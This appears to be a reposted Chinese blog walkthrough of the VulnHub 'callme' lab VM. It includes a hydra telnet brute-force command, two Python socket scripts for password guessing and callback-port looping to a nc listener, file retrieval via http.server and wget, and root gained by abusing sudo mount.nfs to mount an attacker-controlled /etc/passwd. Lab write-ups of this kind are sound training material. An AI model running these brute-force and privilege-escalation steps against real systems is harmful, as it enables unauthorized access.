ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[vulnhub] callme

2021-02-28 17:02:10  阅读:500  来源: 互联网

标签:2323 1024 192.168 密码 callme vulnhub print recv


[vulnhub]: callme

Time: 2021-2-11

Author: badbird


Target: 192.168.31.96

Attack: 192.168.31.100


先使用arp-scan来一波主机发现,因为这个比nmap快很多,发现了目标再用nmap扫描单个IP就好。

arp-scan --interface=eth0 --localnet

在这里插入图片描述

nmap -sS -sV -T5 -A 192.168.31.96 (真的是太慢了,不知道有没有啥好的加速参数)

在这里插入图片描述

可以看到,开放了22、111、2323端口。其中发现2323端口有点意思,nmap返回了在2323端口尝试登录的一些信息。(其实22/ssh也可以尝试一下枚举用户名爆破密码,但是2323提示太明显了)

这个端口开放的服务是3d-nfsd,没见过就google一下:

在这里插入图片描述

看到了,telnet服务,连接试试看:

在这里插入图片描述

常用的判断用户是否存在的办法:错误的用户名会提示用户不存在,正确的用户名会提示该用户密码错误。

现在知道了username:admin,接下来就是爆破密码。

尝试使用hydra爆破:

hydra -l admin -P /usr/share/seclists/Passwords/probable-v2-top1575.txt 192.168.31.96 telnet -s 2323

(Seclists是个在github上的密码大集合)

在这里插入图片描述

没等他运行结束,估计是有点问题,随后又尝试了一下metasploit的auxiliary/scanner/telnet/telnet_login模块

依然没有成功,这就有点蹊跷了。此时有两种继续的办法:1.换大字典。2.自己写破解脚本。3.google国外大佬的wp

懂的都懂。

这里会想到自己写破解脚本是因为看了大佬的解答。

复习一下python socket编程

最后的脚本:(增加了个没啥用的进度条)。这种脚本的编写是需要根据连接情况和收到的消息进行不断测试修改的,需要确定什么时候、收到多少数据之后应该发送数据,比如用户名密码的输入。

import socket
import time
import sys

print("[~]This is a script for a VM(Callme) for Foxlox")
with open('/usr/share/seclists/Passwords/probable-v2-top1575.txt') as passwords:
    for (passwd,i) in zip(passwords,range(1,1575)):
        print("\r", end="")
        print("Brute force is cracking... {}% ".format(i // (1575/100)), "▋" * (i // (1575//20)),end="")
        username = b'admin'			#设置用户名
        ip = '192.168.31.96'
        port = 2323
        s = socket.socket()
        s.connect((ip, port))		#注意参数是个元组哦
        s.recv(1024)
        s.recv(1024)
        s.send(username + b'\r\n')		#发送数据一定要加\r\n,符合包的标准。
        s.recv(1024)
        s.send(passwd.strip().encode() + b'\r\n')	#从字典中加载的密码一定要转换成字节字符串
        re = s.recv(1024)
        s.recv(1024)
        sys.stdout.flush()				#清空输出,刷新进度条用的。。。
        time.sleep(0.01)
        if "Wrong password for user admin" not in str(re):		#密码正确的条件
            print("\n[*] Get it! PASSWORD is:")
            print(passwd)
            break

运行运行运行结果!

在这里插入图片描述

现在来手工telnet连接一下:

在这里插入图片描述

可以想到我们之前为什么没有破解成功了,根据提示,告诉我们没有准备好,应该是端口号,我们需要在本地监听它返回的这个端口号,然而每次返回的大写英文4位数字都不一样,现在的思路就是,碰运气:

nc在本地监听几个端口(2000~3000内选几个即可),然后循环连接192.168.31.96。等刚好两边端口号对上,我们就能连上了。

在这里插入图片描述

循环登录的话,只需要在刚才破解的代码上做一些修改:

import socket
import time
import sys

print("[~]This is a script for a VM(Callme) for Foxlox")
while True:
    username = b'admin'			#设置用户名
    password = b'booboo'		#设置密码
    ip = '192.168.31.96'
    port = 2323
    s = socket.socket()
    s.connect((ip, port))		#注意参数是个元组哦
    s.recv(1024)
    s.recv(1024)
    s.send(username + b'\r\n')		#发送数据一定要加\r\n,符合包的标准。
    s.recv(1024)
    s.send(password + b'\r\n')	#从字典中加载的密码一定要转换成字节字符串
    re = s.recv(1024)
    print(s.recv(1024))

运行该脚本,等两分钟就会中奖了。

还有一种办法就是写段代码将大写英文数字转换成阿拉伯数字,然后直接执行nc开始监听。它提示端口后会有一点点延迟。

当啷当啷,打字的这会功夫已经中奖了:

在这里插入图片描述

可以看到是wine shell。这就要用 dir type命令了。

在这里插入图片描述

startup这个文件看意思应该有点用。

在这里插入图片描述

这里又到了知识盲区了,百度recall server看看是个啥

在这里插入图片描述

大概是个记录密码的小工具?

这里用到了strings命令太强了这个命令,打印文件的可打印字符,所有文件。

当然,需要先把recallserver.exe下载到本地,在靶机端用python起个服务就好。python -m http.server 1234

然后用wget下载到本地,

使用strings命令

在这里插入图片描述

查看string.txt,直接搜索pass,得到了个疑似密码的字符串,尝试ssh登录一下fox用户(因为刚才telnet连进去就是fox的目录)。

在这里插入图片描述

在这里插入图片描述

然而当想要sudo su root得到root权限的时候,却得到fox用户不能这么做。。

在这里插入图片描述

查看一下fox的sudo权限:sudo -l

在这里插入图片描述

哦吼,mount.nfs

那么,直接在kali本地新建一个root权限的账户,再用靶机挂载kali的/etc/passwd,这不就相当于在靶机上有了这个用户了吗,且密码是自定义的,使用openssl passwd -1(是1不是l)生成密码哈希值并按照格式写入/etc/passwd

靶机上挂载 /etc

首先要在kali上设置/etc允许被挂载

在这里插入图片描述

启用nfs服务

在这里插入图片描述

靶机上挂载、查看

在这里插入图片描述

在这里插入图片描述

切换到hack用户–>取得root权限–>进入root目录–>get flag

在这里插入图片描述

标签:2323,1024,192.168,密码,callme,vulnhub,print,recv
来源: https://blog.csdn.net/qq_43756450/article/details/114229645

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有